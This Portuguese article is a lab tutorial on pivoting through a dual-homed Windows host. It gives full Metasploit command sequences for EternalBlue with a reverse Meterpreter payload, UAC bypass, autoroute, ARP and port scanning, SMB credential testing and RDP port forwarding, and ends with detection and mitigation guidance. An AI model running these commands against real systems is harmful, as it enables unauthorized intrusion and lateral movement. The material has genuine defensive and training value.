NT-2026.09.20 DOSSIÊ

RDP PIVOTING COM METASPLOIT: ACESSO A REDES ISOLADAS VIA SESSÃO METERPRETER

Demonstra como usar uma sessão Meterpreter em host Windows com duas interfaces de rede para rotear tráfego, descobrir hosts internos via ARP/TCP scan e acessar RDP na rede isolada usando port forwarding do Metasploit.

Capa técnica com título RDP Pivoting Metasploit, resumo e fluxo de três blocos: Comprometer Pivô → Roteamento Interno → Acesso RDP

Introdução e conceito de pivoting

Pivoting é uma técnica que permite acessar redes inalcançáveis a partir de um host comprometido que atua como ponto de pivô. Quando um servidor Windows possui duas interfaces de rede — uma acessível pelo atacante e outra conectada a uma rede interna — é possível usar esse host como ponte para alcançar máquinas na rede isolada.

Este artigo descreve o fluxo completo: comprometer o host pivô, elevar privilégios, configurar rotas no Metasploit via autoroute, descobrir hosts internos com ARP scan e TCP port scan, obter credenciais via SMB e, por fim, acessar o serviço RDP (porta 3389) na rede interna usando port forwarding do Meterpreter.

Topologia de rede com três máquinas mostrando segmentos 192.168.0.0/24 e 192.168.100.0/24
Diagrama de topologia do laboratório: atacante (Kali), pivô Windows dual-homed e alvo Windows 7 com RDP

Comprometimento do pivô e bypass UAC

A primeira etapa é obter uma sessão Meterpreter no host pivô. O exploit MS17-010 (EternalBlue) visa a vulnerabilidade no SMBv1 (CVE-2017-0143 a CVE-2017-0148) e permite execução remota de código como SYSTEM em versões vulneráveis do Windows (Windows 7, Server 2008 R2, 8.1, Server 2012 R2, versões iniciais do Windows 10).

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS <IP-DO-PIVO>
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST <IP-DO-ATACANTE>
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

Se o exploit falhar ou o sistema já estiver patcheado, pode-se usar um handler genérico (exploit/multi/handler) com payload apropriado e ganhar acesso via outro vetor (phishing, credenciais válidas, etc.).

Após obter a sessão inicial, verifica-se as sessões ativas e executa-se o bypass de UAC para obter uma segunda sessão com integridade HIGH/SYSTEM:

meterpreter > getuid
meterpreter > run post/windows/escalate/bypassuac_injection

O comando sessions lista todas as sessões; a sessão resultante do bypass UAC (geralmente a segunda) será usada para as operações de post-exploitation.

Console Metasploit mostrando comando sessions com duas sessões ativas
Saída do comando sessions listando duas sessões Meterpreter: sessão 1 (meterpreter shell) e sessão 2 (bypass UAC)

Enumeração de interfaces (ifconfig)

Com a sessão privilegiada ativa, enumera-se as interfaces de rede do host pivô para confirmar a presença de duas redes:

meterpreter > ifconfig

A saída esperada mostra duas interfaces: uma no segmento do atacante (ex.: 192.168.0.27/24) e outra no segmento interno (ex.: 192.168.100.100/24). Essa topologia confirma que o host pivô pode alcançar a rede interna alvo.

Meterpreter ifconfig exibindo duas interfaces de rede com IPs em segmentos diferentes
Saída do comando ifconfig no Meterpreter mostrando duas interfaces de rede no host pivô (192.168.0.27 e 192.168.100.100)

Configuração do autoroute

O módulo post/multi/manage/autoroute gerencia o roteamento de sessão via Meterpreter existente, permitindo que outros módulos do Metasploit “pivotem” através do host comprometido ao se conectar à rede e sub-rede especificadas.

msf6 > use post/multi/manage/autoroute
msf6 post(multi/manage/autoroute) > set SESSION <ID-SESSAO-PRIVILEGIADA>
msf6 post(multi/manage/autoroute) > set CMD autoadd
msf6 post(multi/manage/autoroute) > exploit

Parâmetros principais confirmados na documentação oficial:

  • SESSION: ID da sessão Meterpreter a ser usada para o roteamento
  • CMD: comando a executar — autoadd busca sub-redes válidas na tabela de roteamento e lista de interfaces do host comprometido e as adiciona automaticamente; add adiciona manualmente (requer SUBNET e NETMASK); print exibe rotas atuais; delete remove; default adiciona rota padrão
  • SUBNET: sub-rede IPv4 a adicionar (ex.: 192.168.100.0)
  • NETMASK: máscara de rede (ex.: 255.255.255.0 ou /24)

A opção autoadd é a mais prática: ela inspeciona a tabela de roteamento do host pivô e adiciona automaticamente todas as redes alcançáveis. Após a execução, verifica-se as rotas adicionadas:

msf6 post(multi/manage/autoroute) > route

A saída mostra a tabela de roteamento ativa do Metasploit, com as sub-redes e o gateway (session ID) correspondente.

Console Metasploit mostrando autoroute adicionando rota para sub-rede interna via sessão Meterpreter
Execução do módulo autoroute com CMD=autoadd adicionando rotas da rede 192.168.100.0/24

ARP Scan na rede interna

Com as rotas configuradas, o próximo passo é descobrir hosts vivos na rede interna. O módulo post/windows/gather/arp_scanner realiza varredura ARP para um intervalo de IP através de uma sessão Meterpreter.

msf6 > use post/windows/gather/arp_scanner
msf6 post(windows/gather/arp_scanner) > set RHOSTS 192.168.100.100-110
msf6 post(windows/gather/arp_scanner) > set SESSION <ID-SESSAO-PRIVILEGIADA>
msf6 post(windows/gather/arp_scanner) > set THREADS 20
msf6 post(windows/gather/arp_scanner) > exploit

Parâmetros confirmados no código-fonte oficial:

  • RHOSTS: intervalo de IPs ou CIDR alvo (obrigatório)
  • SESSION: sessão Meterpreter a usar (obrigatório)
  • THREADS: número de threads concorrentes (padrão: 10)

O módulo usa a API SendARP do Windows via Railgun para enviar requisições ARP e resolver endereços MAC, identificando hosts ativos. A saída lista IP, endereço MAC e fabricante (via OUI) de cada host respondente.

Saída do post/windows/gather/arp_scanner listando IP, MAC e OUI do host descoberto
Resultados do ARP scanner mostrando host 192.168.100.103 descoberto com MAC e fabricante

TCP Port Scan no host descoberto

Identificados os hosts ativos, realiza-se varredura de portas TCP para enumerar serviços expostos. O módulo auxiliary/scanner/portscan/tcp executa varredura TCP connect completa em cada porta.

msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.100.103
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 445,3389
msf6 auxiliary(scanner/portscan/tcp) > set THREADS 10
msf6 auxiliary(scanner/portscan/tcp) > run

Parâmetros confirmados na documentação oficial:

  • RHOSTS: host(s) alvo
  • PORTS: portas a testar (formato: 22-25,80,110-900, etc.; padrão: 1-10000)
  • TIMEOUT: timeout de conexão em milissegundos (padrão: 1000)
  • CONCURRENCY: portas concorrentes por host (padrão: 10)
  • THREADS: threads globais (via set THREADS)

A varredura revela as portas 3389 (RDP) e 445 (SMB) abertas no host alvo, confirmando a exposição dos serviços de interesse.

Saída do auxiliary/scanner/portscan/tcp mostrando portas TCP OPEN 3389 e 445
Varredura TCP revelando portas 3389 (RDP) e 445 (SMB) abertas no host 192.168.100.103

SMB Login para testar credenciais conhecidas

Com a porta 445 (SMB) aberta, testa-se a autenticação SMB com credenciais já conhecidas. O módulo auxiliary/scanner/smb/smb_login testa logins SMB em uma faixa de máquinas e reporta logins bem-sucedidos.

msf6 > use auxiliary/scanner/smb/smb_login
msf6 auxiliary(scanner/smb/smb_login) > set RHOSTS 192.168.100.103
msf6 auxiliary(scanner/smb/smb_login) > set SMBUser pentest
msf6 auxiliary(scanner/smb/smb_login) > set SMBPass 123
msf6 auxiliary(scanner/smb/smb_login) > run

Parâmetros principais:

  • RHOSTS: host(s) alvo
  • SMBUser: nome de usuário a testar
  • SMBPass: senha a testar
  • SMBDomain: domínio (opcional)
  • CreateSession: se true, cria sessão SMB interativa para cada login bem-sucedido (requer Metasploit 6.4+)

O módulo reporta se as credenciais testadas são válidas e, opcionalmente, abre sessões SMB que permitem enumeração de compartilhamentos e navegação no sistema de arquivos remoto.

Console Metasploit mostrando sucesso de autenticação SMB com usuário pentest
Módulo smb_login testando credenciais conhecidas (pentest:123) e reportando login bem-sucedido no host alvo

Port Forwarding para RDP e conexão

Com credenciais válidas (ex.: pentest:123) e a porta 3389 (RDP) confirmada aberta, configura-se port forwarding no Meterpreter para tunelar o tráfego RDP através da sessão do host pivô.

meterpreter > portfwd add -l 3389 -p 3389 -r 192.168.100.103

Parâmetros do portfwd confirmados na documentação oficial:

  • -l: porta local no atacante para escutar (ex.: 3389)
  • -p: porta remota no alvo para conectar (ex.: 3389)
  • -r: host remoto alvo (ex.: 192.168.100.103)
  • -L: endereço local para bind (opcional, padrão: 0.0.0.0)

Após o port forward ativo, o atacante conecta-se ao RDP do alvo interno usando rdesktop (ou outro cliente RDP) apontando para localhost:

rdesktop 127.0.0.1:3389

O cliente RDP solicitará credenciais; usa-se a combinação obtida via SMB (pentest:123). Com autenticação bem-sucedida, obtém-se acesso gráfico completo ao host alvo na rede isolada.

Meterpreter portfwd add configurando forward local 3389 para alvo 192.168.100.103:3389
Comando portfwd add criando túnel na porta 3389 via sessão Meterpreter

Confirmação de acesso e conclusão

A sessão RDP ativa confirma que o pivoting foi bem-sucedido: o atacante, a partir de sua máquina Kali (192.168.0.0/24), acessou o host alvo na rede isolada (192.168.100.0/24) usando o host pivô Windows dual-homed como ponte. O fluxo combina comprometer o pivô, elevar privilégios, configurar rotas com autoroute, descobrir hosts via ARP/TCP scan, testar credenciais via SMB e tunelar RDP via portfwd.

Área de trabalho remota Windows 7 acessada através do túnel Metasploit
Sessão RDP ativa no host alvo 192.168.100.103 acessada via pivoting

Perspectiva defensiva e detecção

Do lado defensivo, as seguintes telemetrias e indicadores são relevantes:

  • Event ID 4624 (Logon Type 10 – RemoteInteractive): registra logons RDP bem-sucedidos no Security Log do Windows alvo
  • Event ID 4624 (Logon Type 3 – Network): logons SMB bem-sucedidos no host alvo e no pivô
  • Event ID 4688: execução de mstsc.exe (RDP client) ou rdesktop no host atacante (se monitorado)
  • Tráfego de rede anômalo: conexões RDP originadas do host pivô para hosts internos não administrativos; túnel TCP persistente na porta 3389 através de host não administrativo
  • MITRE ATT&CK: T1021.001 (Remote Services: Remote Desktop Protocol), T1021.002 (SMB/Windows Admin Shares), T1090 (Proxy), T1090.001 (Internal Proxy), T1572 (Protocol Tunneling)

Ferramentas EDR/XDR podem detectar injeção de código para bypass UAC, execução de módulos Meterpreter em memória, e uso de portfwd criando listeners suspeitos no host pivô.

Mitigação

Controles recomendados para reduzir a superfície de ataque:

  • Segmentação de rede rigorosa: hosts com múltiplas interfaces não devem conectar redes de confiança diferente sem firewall stateful e regras de deny-by-default
  • Desabilitar SMBv1: remove vetor do MS17-010 e reduz superfície SMB
  • Patch management: aplicar MS17-010 (março 2017) e atualizações cumulativas mensais
  • Restringir RDP: limitar acesso RDP via firewall a jump hosts/bastions dedicados; exigir MFA e Network Level Authentication (NLA)
  • Monitoramento de logs: alertar sobre Event ID 4624 tipo 10 de origens não administrativas; correlacionar logons SMB (tipo 3) seguidos de RDP (tipo 10) do mesmo IP origem
  • Credenciais: não reutilizar senhas entre ambientes; usar contas de serviço dedicadas com privilégio mínimo
  • Application Control: AppLocker/WDAC para bloquear execução de binários não assinados (incluindo payloads Meterpreter stagers)

Limitações

Este artigo foi escrito com base em documentação oficial do Metasploit Framework e pesquisa editorial multifuente, sem execução própria de laboratório nesta ocasião. As seguintes limitações aplicam-se:

  • Versões específicas de Windows alvo do MS17-010 devem ser confirmadas na documentação do exploit; sistemas patcheados não são vulneráveis
  • O módulo arp_scanner requer sessão Meterpreter com Railgun disponível (Windows x86/x64)
  • portfwd tunela apenas TCP; UDP não é suportado
  • RDP via rdesktop implementa protocolos RDP 4/5; versões modernas (RDP 8.0+) podem requerer xfreerdp
  • Bypass UAC não é garantido em todas as versões/configurações do Windows
  • Credenciais padrão/fraças (pentest:123) são apenas ilustrativas; ambientes reais exigem enumeração de credenciais válidas

Considerações éticas

O conteúdo aqui apresentado destina-se a laboratórios autorizados, exercícios de CTF, pentests contratados, ambiente próprio, programas de bug bounty dentro do escopo ou pesquisa defensiva autorizada. Acesso não autorizado a sistemas de terceiros é ilegal e antiético. Toda atividade de pivoting e post-exploitation deve ocorrer sob autorização escrita explícita e dentro do escopo definido.

Conclusão

RDP Pivoting com Metasploit demonstra como um host Windows comprometido com múltiplas interfaces pode servir de ponte para acessar serviços em redes isoladas. A combinação de autoroute para roteamento de camada 3, arp_scanner e tcp portscan para descoberta, smb_login para obtenção de credenciais, e portfwd para tunelamento de camada 4 forma um fluxo completo e reproduzível. Do lado defensivo, a detecção depende de monitoramento de logons anômalos, telemetria de rede e controles de segmentação rigorosos.